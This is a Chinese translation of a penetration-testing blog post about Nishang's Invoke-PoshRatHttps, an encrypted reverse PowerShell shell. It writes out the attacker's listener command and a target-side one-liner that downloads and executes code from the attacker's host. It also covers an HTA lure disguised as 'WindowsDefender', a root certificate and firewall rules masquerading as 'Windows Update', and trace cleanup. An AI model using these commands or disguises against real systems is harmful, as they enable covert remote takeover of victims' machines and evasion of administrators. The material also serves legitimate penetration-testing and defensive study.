欢迎来到一周PowerShell脚本的第三天,今天我们将讨论HTTP/HTTPS。

我们往往都是出于安全方面的考虑才使用HTTPS的,正是因为有这样的考虑所以HTTPS流量经常会被系统管理员或安全人员所忽视。这就使得HTTPS成为了我们脚本理想的通道了。这里我窃取了Casey Smith(@subTee)的Poshrat,然后进行了一些修改,最终就是我所提供的Invoke-PoshRatHttps

Invoke-PoshRatHttps顾名思义就是在目标与攻击者之间建立一条加密信道,这是我们前两天内容所缺失的,你可以在Nishang的Shells目录下找到:https://github.com/samratashok/nishang/tree/master/Shells

Invoke-PoshRatHttps在攻击者的机器上需要管理员权限以监听端口并安装SSL证书。首先我们现在机器上运行一个监听:

PS C:\> Invoke-PoshRatHttp 192.168.254.1 -Port 80

注意,这里监听端需要两个端口。一个用于初始化连接,另一个用于加密通信。

而在目标机器上,我们只需要执行以下命令(注意HTTP):

PS C:\> Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.254.1/connect')

另外我们也可以在目标机器使用浏览器上打开HTA文件。不过由于浏览器各种可能的报错降低了攻击的成功率。需要打开的HTA文件URL为:

https://192.168.254.1/WindowsDefender.hta

我们来看看实际效果:

不错,一个加密的交互式反向PowerShell!

在Wireshark中我们看到除了初始连接的请求数据包是HTTP的,其余所有流量都是HTTPS。而使用HTTP的初始连接请求数据包则是用于设置HTTPS加密通道的。

pcap包可以在我的Google drive得到:https://drive.google.com/folderview?id=0B-Hsu8q12kG3fkVMaWlQejI4bmktVFlnZHd5Y3pjcHcxRVppQVM1Y1ZYamI5RlYxNExhY2s&usp=sharing

(注:译者已将数据包搬运到国内云盘链接:http://pan.baidu.com/s/1i4ikCAD 密码:nw06)

注意Invoke-PoshRatHttps会安装一个名为“Windows Update Agent”的根证书,并需要指定你机器的IP地址和端口号,创建两个名为“Windows Update HTTPS”和“Windows Update HTTP”的防火墙规则。

下面这个是HTTP的版本,Invoke-PoshRatHttp

正是由于Invoke-PoshRatHttps的客户端非常小巧并且可以配合多种技术使用,才使得Invoke-PoshRatHttps非常的好用。

最后,在目标机器上使用Invoke-PoshRatHttps过后,为了清除痕迹我们可以使用Remove-PoshRat。不过我们需要一个提过权的PowerShell才能运行Remove-PoshRat。

Nishang还有另一个HTTPS的脚本Invoke-PsGcat,这个脚本使用Gmail来执行命令或脚本。

最后是一段使用Invoke-PoshRatHttps的演示视频:


*原文:labofapenetrationtesterxiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...